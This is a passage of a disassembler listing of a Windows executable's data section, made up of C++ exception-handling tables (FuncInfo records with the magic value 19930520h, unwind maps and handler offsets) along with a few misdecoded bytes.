dd 2 dup(0)
dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh
dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0)
dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0
dd offset loc_4394F8
dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h
dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh
dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0)
dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0
dd offset loc_43957B
dd 0
dd offset loc_439586
dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h
dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h
dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh
dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch
dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh
dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh
dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh
dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h
dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h
dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h
dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0)
dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0
dd offset loc_439820
align 10h
dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0
dd offset loc_439860
dd 2 dup(0)
dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0
dd offset loc_4398AB
dd 0
dd offset loc_4398B6
dd 2 dup(0)
dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0)
dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0)
dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0
dd offset loc_439928
align 10h
dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0
dd offset loc_43994B
dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh
dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h
dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h
dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah
dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh
dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh
dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh
dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh
dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh
dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh
dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh
dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah
dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh
dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh
dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h
dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh
dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh
dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h
dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0)
dd offset off_4448A0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 437AF0h, 2 dup(0)
dd offset off_4448C0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F1Ah, 2 dup(0)
dd offset off_4448E8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437F20h, 0
dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o
dd offset dword_437EC4+62h
dd 0
dd offset dword_440070
align 10h
dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0)
dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0)
dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0
dd offset loc_439D87
dd 1, 439D8Fh, 2 dup(0)
dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0)
dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 4401B8h, 4 dup(0)
dd offset sub_40AF32
align 10h
dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 440218h, 4 dup(0)
dd offset sub_40B0B1
align 10h
dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0
dd offset loc_439DFB
dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0
dd offset loc_439E4B
dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh
dd 439EA0h, 2 dup(0)
dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0
dd offset loc_439EC8
dd 1, 439ED0h, 2 dup(0)
dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0)
dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh
dd 439F20h, 2, 439F28h, 2 dup(0)
dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0)
dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0
dd offset loc_439F7B
dd 0
dd offset loc_439F86
dd 2, 439F91h, 2 dup(0)
dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0)
dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0
dd offset loc_439FEB
dd 0
dd offset loc_439FF6
dd 0
dd offset loc_43A001
dd 0
dd offset loc_43A00C
align 10h
dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0
dd offset loc_43A04B
dd 2 dup(0)
dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0
dd offset loc_43A07B
align 10h
dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0)
dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0
dd offset loc_43A0EB
dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
dd 1, 43A12Dh, 4 dup(0)
dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h
dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
dd 43A1E4h, 4 dup(0)
dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0
dd offset loc_43A228
dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0
dd offset loc_43A278
dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0
dd offset loc_43A2C8
dd 1, 43A2D0h, 2 dup(0)
dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0)
dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0
dd offset loc_43A318
dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h
dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0
dd offset loc_43A378
dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh
dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h
dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h
dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h
dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h
dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h
dd 43A4E5h, 8 dup(0)
dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0
dd offset loc_43A568
dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh
dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0
dd offset loc_43A69B
dd 1, 43A6A6h, 0
dd offset loc_43A6B1
dd 0
dd offset loc_43A6BC
dd 0
dd offset loc_43A6C7
dd 0
dd offset loc_43A6D2
dd 0
dd offset loc_43A6DD
dd 0
dd offset loc_43A6E8
dd 0
dd offset loc_43A6F3
dd 9, 43A6FEh, 0
dd offset loc_43A709
dd 0
dd offset loc_43A714
dd 0
dd offset loc_43A71F
dd 0
dd offset loc_43A72A
dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
dd 0
dd offset loc_43A799
dd 0
dd offset loc_43A7A4
dd 0
dd offset loc_43A7B2
dd 0
dd offset loc_43A7C0
dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0
dd offset loc_43A7E1
dd 1Dh, 43A7ECh, 0
dd offset loc_43A7F7
dd 1Fh, 43A802h, 0
dd offset loc_43A80D
dd 0
dd offset loc_43A818
dd 0
dd offset loc_43A823
dd 0
dd offset loc_43A82E
dd 0
dd offset loc_43A839
dd 25h, 43A844h, 26h, 43A84Fh, 0
dd offset loc_43A84F
dd 28h, 43A844h, 0
dd offset loc_43A85A
dd 0
dd offset loc_43A865
dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0
dd offset loc_43A87B
dd 2Eh, 43A870h, 2Eh, 43A886h, 0
dd offset loc_43A891
dd 31h, 43A89Ch, 0
dd offset loc_43A8A7
dd 0
dd offset loc_43A8B2
dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0)
dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0)
dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0
dd offset loc_43A9B8
dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0
dd offset loc_43AA18
dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0)
dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0
dd offset loc_43AAE8
dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
dd 4 dup(0)
dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0
dd offset loc_43AB90
align 10h
dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0
dd offset loc_43ABD8
dd 2 dup(0)
dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0)
dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0
dd offset loc_43AC18
dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
dd 2 dup(0)
dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0
dd offset loc_43AC7B
dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 43h, 0
dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0)
dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0)
dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0
dd offset loc_43AD78
dd 2 dup(0)
dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0
dd offset loc_43AD98
dd 1, 43ADA3h, 2 dup(0)
dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0
dd offset loc_43ADD8
dd 1, 43ADE0h, 2 dup(0)
dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0)
dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0
dd offset loc_43AE28
dd 0
dd offset loc_43AE30
dd 0
dd offset loc_43AE3B
align 10h
dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0
dd offset loc_43AE68
dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0
dd offset loc_43AEBB
dd 1, 43AEC6h, 2 dup(0)
dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0
dd offset loc_43AEF8
dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0
dd offset loc_43AF38
dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0
dd offset loc_43AF88
dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0
dd offset loc_43AFC8
dd 1, 43AFD0h, 2 dup(0)
dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0)
dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0
dd offset loc_43B018
align 10h
dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0
dd offset loc_43B038
dd 2 dup(0)
dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0
dd offset loc_43B05B
dd 1, 43B066h, 2 dup(0)
dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0)
dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0)
dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0
dd offset loc_43B0D8
dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh
dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh
dd 43B140h, 2 dup(0)
dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0
dd offset loc_43B178
dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh
dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h
dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h
dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0)
dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0
dd offset loc_43B358
dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh
dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h
dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h
dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0)
dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0)
dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0
dd offset loc_43B55B
dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh
dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h
dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h
dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah
dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh
dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h
dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h
dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah
dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh
dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h
dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h
dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah
dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0
dd offset loc_43B98B
dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0
dd offset loc_43B9DB
dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0
dd offset loc_43BA4E
dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0
dd offset loc_43BAAB
dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0
dd offset loc_43BB0B
dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0)
dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0)
dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BBh, 43h, 0
align 10h
dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0
dd offset loc_43BBFB
dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0
dd offset loc_43BC4B
dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0
dd offset loc_43BC9B
dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0
dd offset loc_43BD0E
dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0
dd offset loc_43BD6B
dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0BDh, 43h, 0
dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0)
dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0)
dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0)
dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0
dd offset loc_43BE8B
dd 2 dup(0)
dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0
dd offset loc_43BEBB
dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0)
dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0
dd offset loc_43BF2B
dd 2 dup(0)
dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0)
dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0)
dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0
dd offset loc_43BF9B
align 10h
dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0)
dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0
dd offset loc_43BFF7
dd 1, 43BFFFh, 2 dup(0)
dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0)
dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0
dd offset sub_43C040
dd 0
dd offset loc_43C05F
dd 2, 43C067h, 2 dup(0)
dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh
